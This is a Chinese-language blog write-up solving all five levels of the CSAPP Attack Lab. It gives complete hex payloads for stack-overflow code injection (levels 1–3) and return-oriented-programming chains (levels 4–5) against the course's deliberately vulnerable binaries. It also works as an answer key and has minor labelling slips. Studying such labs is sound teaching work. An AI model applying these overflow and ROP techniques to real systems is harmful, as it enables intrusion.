CSAPP AttackLab

目录

实验内容

Level 1

Level 2

Level 3

Level 4

Level 5


实验内容

一共两个可执行文件ctargetrtarget,分为5个level,需要通过一定方式构造缓冲区溢出攻击。

下面是实验提供的一些程序:

  • ctargetrtarget是可执行文件,需对这两个程序构造攻击。
    • 命令-q不向服务器发送数据。
    • 命令-i FILEFILE文件中读取而不是由终端输入。
    • gdb进行调试时,可以用gdb --args ctarget -q -i FILE进行调试。
  • hex2raw是用于将字符的十六进制形式转换为字符,例如想在终端中输入0x01这个字符,无法用键盘打出,此时可以用hex2raw将其输出至文件中,再用文件对ctarget进行输入。下面的命令可以从exploit.ext构造出exploit-raw.txt,注意exploit.txt中的字符十六进制形式用空格隔开,以换行符结束。
./hex2raw < exploit.txt > exploit-raw.txt
  • 可以编写汇编代码,再利用gcc -cobjdump -d进行汇编和反汇编得到相应代码的二进制形式。

Level 1

需要getbuf执行完后不返回test,而是转到touch1

void test()
{
  int val;
  val = getbuf();
  printf("No exploit. Getbuf returned 0x%x\n", val);
}

void touch1()
{
  vlevel = 1; /* Part of validation protocol */
  printf("Touch1!: You called touch1()\n");
  validate(1);
  exit(0);
}

反汇编观察getbuftouch1函数有分配了40个字符的空间,故输入40个字符后再按字节输入touch1的地址即可。

0000000000401968 <test>:
  ...
  401971:	e8 32 fe ff ff       	callq  4017a8 <getbuf>
  401976:	89 c2                	mov    %eax,%edx
  ...

00000000004017a8 <getbuf>:
  4017a8:	48 83 ec 28          	sub    $0x28,%rsp  //分配了0x28大小的空间
  4017ac:	48 89 e7             	mov    %rsp,%rdi
  4017af:	e8 8c 02 00 00       	callq  401a40 <Gets>
  4017b4:	b8 01 00 00 00       	mov    $0x1,%eax
  4017b9:	48 83 c4 28          	add    $0x28,%rsp
  4017bd:	c3                   	retq
  4017be:	90                   	nop
  4017bf:	90                   	nop

00000000004017c0 <touch1>:
  ...
  ...

touch1的地址为0x4017c0,将返回地址修改即可。可以用gdb测试一下机器的字节排列顺序,为小端模式:

故在输入任意40个字符后,再输入touch1的地址即可:

//40个填充
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
//touch1入口地址 
c0 17 40 00 00 00 00 00

Level 2

目标是getbuf后转向到touch2函数:

void touch2(unsigned val)
{
  vlevel = 2; /* Part of validation protocol */
  if (val == cookie) {
    printf("Touch2!: You called touch2(0x%.8x)\n", val);
    validate(2);
  } else {
    printf("Misfire: You called touch2(0x%.8x)\n", val);
    fail(2);
  }
  exit(0);
}

由于touch2的参数需要%edi来传递,所以需要植入代码mycodegetbuf返回到mycode,在mycode修改%edi后再返回touch2

gdb打印出%rsp的值可以知道:

  • 0x5561dc78 ~ 0x5561dca0是我们输入的前40个字符的位置。
  • 0x5561dca0 ~ 0x5561dca8存储着getbuf的返回地址。
  • 在调用我们植入的函数mycode后,可以把touch3的地址入栈,待mycode返回后即可返回touch2

所以mycode函数的入口地址应该为0x5561dc78,即从此处开始是我们的植入代码。0x5561dca0存储的返回地址就是mycode的入口地址。而植入的代码很简单,将%edi置为我们的cookie,再把返回地址touch2入栈即可:

0000000000000000 <.text>:
   0:	bf fa 97 b9 59       	mov    $0x59b997fa,%edi
   5:	68 ec 17 40 00       	pushq  $0x4017ec
   a:	c3                   	retq 

故可以得到输入的字符应为:

//mycode函数
bf fa 97 b9 59 68 ec 17 40 00 c3 
//29个填充
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
//mycode入口地址
78 dc 61 55 00 00 00 00 

Level 3

目标是转到touch3函数,不过传递的参数是一个字符串的首地址,字符串的内容是cookie的串形式。

void touch3(char *sval)
{
  vlevel = 3; /* Part of validation protocol */
  if (hexmatch(cookie, sval)) {
    printf("Touch3!: You called touch3(\"%s\")\n", sval);
    validate(3);
  } else {
    printf("Misfire: You called touch3(\"%s\")\n", sval);
    fail(3);
  }
  exit(0);
}

/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval)
{
  char cbuf[110];
  /* Make position of check string unpredictable */
  char *s = cbuf + random() % 100;
  sprintf(s, "%.8x", val);
  return strncmp(sval, s, 9) == 0;
}
  • 字符串应该存储在%rsp之上。因为调用touch3后,%rsp下的内容会被touch3hexmatch重写。故字符串的首地址应该为0x5561dca8。
  • mycode的入口地址位于0x5561dc78,需要把字符串首地址存入%edi,然后把touch3的地址入栈返回即可。

mycode的内容如下:

0000000000000000 <.text>:
   0:	bf a8 dc 61 55       	mov    $0x5561dca8,%edi
   5:	68 fa 18 40 00       	pushq  $0x4018fa
   a:	c3                   	retq 

故输入的字符串应该为:

//mycode内容
bf a8 dc 61 55 68 fa 18 40 00 c3 
//剩余的29个填充
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
//mycode返回地址
78 dc 61 55 00 00 00 00 
//cookie的字符串形式,以'\0'结尾
35 39 62 39 39 37 66 61 00

下面两个level需要攻击rtarget程序,rtarget采用了栈随机化和限制可执行代码区域两个防止攻击的手段,所以无法利用植入代码攻击,要通过ROP实现。

rtarget提供了一个gadget farm,如果我们想执行gadget1和gadget2,那么在填入40个字符后分别填入gadget1和gadget2的地址即可:

  • getbuf retq时,栈指针指向gadget1地址,返回将返回至gadget1,然后栈指针上移,指向gadget2的地址。
  • gadget1执行完 retq时,正好返回到gadget2的入口处。

实验手册的附录给出了各种指令的编码,构造gadget时查阅即可,比较重要的有单字节nop(90),双字节nop(...)以及retq(c3)。

Level 4

ROP的方法实现touch2的调用,主要思路是执行若干个gadget,使得%rdi = cookie,然后再返回至touch2即可。为了把cookie存储在寄存器中,需要提前把它写进栈,再利用popq指令弹出到寄存器即可,然后再把这个值mov%rdi寄存器,最后返回,根据返回地址转移到touch2即可。

gedget farm部分代码:

000000000040199a <getval_142>:
  40199a:	b8 fb 78 90 90       	mov    $0x909078fb,%eax
  40199f:	c3                   	retq   

00000000004019a0 <addval_273>:
  4019a0:	8d 87 48 89 c7 c3    	lea    -0x3c3876b8(%rdi),%eax
  4019a6:	c3                   	retq   

00000000004019a7 <addval_219>:
  4019a7:	8d 87 51 73 58 90    	lea    -0x6fa78caf(%rdi),%eax
  4019ad:	c3                   	retq   

00000000004019ae <setval_237>:
  4019ae:	c7 07 48 89 c7 c7    	movl   $0xc7c78948,(%rdi)
  4019b4:	c3                   	retq   

00000000004019b5 <setval_424>:
  4019b5:	c7 07 54 c2 58 92    	movl   $0x9258c254,(%rdi)
  4019bb:	c3                   	retq   

00000000004019bc <setval_470>:
  4019bc:	c7 07 63 48 8d c7    	movl   $0xc78d4863,(%rdi)
  4019c2:	c3                   	retq   

00000000004019c3 <setval_426>:
  4019c3:	c7 07 48 89 c7 90    	movl   $0x90c78948,(%rdi)
  4019c9:	c3                   	retq   

00000000004019ca <getval_280>:
  4019ca:	b8 29 58 90 c3       	mov    $0xc3905829,%eax
  4019cf:	c3                   	retq   

//还有一部分level5才需要用到,没有列出

部分编码表:

  

  • 对照编码表可以看到addval_219 58 90 正好是popq %rax的编码,且后续正好是nop指令,满足第一步将cookie从栈中弹出的要求,此为gadget1
  • 接下来需要找到movq %rax,%rdi即可,编码为 48 89 c7 setval_426中正好有这样的一部分,此为gadget2。注意,虽然setval_237中也有相同的一部分,但是后续是c7而不是nop指令的90。

控制的代码为:

gadget1:
    popq %rax
gadget2:
    movq %rax,%rdi
touch2:
    ...

故容易知道输入应该为:

//40个填充
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 

//gadget1入口
ab 19 40 00 00 00 00 00

//弹出栈的cookie
fa 97 b9 59 00 00 00 00

//gadget2入口
c5 19 40 00 00 00 00 00

//touch2入口
ec 17 40 00 00 00 00 00

Level 5

用ROP的方法实现touch3的调用,该阶段的主要问题在于需要把%rsp的值传入%rdi,而我们不能等%rsp到达字符串位置再把%rsp传入%rdi。因为如果某个函数中%rsp恰好处于字符串首地址的位置,而%rsp指向的位置代表着这个函数的返回地址。因此这个函数的返回地址将是我们的字符串,意味着不能返回到我们指定的位置。

可以假设我们的栈是这样的:

---mystring
---gadgetn地址
   ...
---gadget2地址
---gadget1地址

那么可以进行这样的操作,把gadget1处的%rsp传入%rdi,然后再进行一个加法操作,即%rdi = %rdi + (8 * n),这里的8 * n是我们在构造时就知道的具体数字,选择恰当的n即可使%rdi指向我们字符串的开头。

实验手册里很狡猾的没有提供add指令的编码,但是可以发现在farm中有一个函数add_xy

00000000004019d6 <add_xy>:
  4019d6:	48 8d 04 37          	lea    (%rdi,%rsi,1),%rax
  4019da:	c3                   	retq 

我们可以利用这个完整的函数实现加法运算即可,不需要自己构造出一个加法指令。

但是由于farm中没有精确符合的编码,所以需要稍微过渡一下(例如从栈中弹出到%rdi,只能先弹出到%rax,再mov%rdi)。同时在farm中寻找时,需要注意编码后要紧接retq(c3)或者紧接着一些单字节或双字节nop。可构造的代码如下:

gadget1:
    popq %rax          //58        //<addval_219>
gadget2:
    movq %eax, %edx    //89 c2     //<getval_481>
gadget3:
    movl %edx, %ecx    //89 d1     //<getval_311>
gadget4:    
    movl %ecx, %esi    //89 ce     //<addval_436>
gadget5:
    movq %rsp, %rax    //48 89 e0  //<addval_190>
gadget6:
    movq %rax, %rdi    //48 89 c7  //<setval_426>
gadget7:
    <add_xy>           //...       //<add_xy>
gadget8:
    movq %rax, %rdi    //48 89 c7  //<setval_426>
touch3:
    ...

输入的字符串应该为:

//40个填充
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

//gadget1:    popq %rax    <addval_219>    
ab 19 40 00 00 00 00 00

//需要popq出来的数字 = 4 * 8 = 32 = 0x20
20 00 00 00 00 00 00 00

//gadget2:    movq %eax, %edx    <getval_481>   
dd 19 40 00 00 00 00 00

//gadget3:    movl %edx, %ecx    <getval_311>    
69 1a 40 00 00 00 00 00

//gadget4:    movl %ecx, %esi    <addval_436>    
13 1a 40 00 00 00 00 00

//gadget5:    movq %rsp, %rax    <addval_190>    
06 1a 40 00 00 00 00 00  

//gadget6:    movq %rax, %rdi    <setval_426>    
c5 19 40 00 00 00 00 00

//gadget7:    movq %rax, %rdi    <add_xy>
d6 19 40 00 00 00 00 00

//gadget8:    movq %rax, %rdi    <setval_426>    
c5 19 40 00 00 00 00 00

//touch3
fa 18 40 00 00 00 00 00

//字符串
35 39 62 39 39 37 66 61 00

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值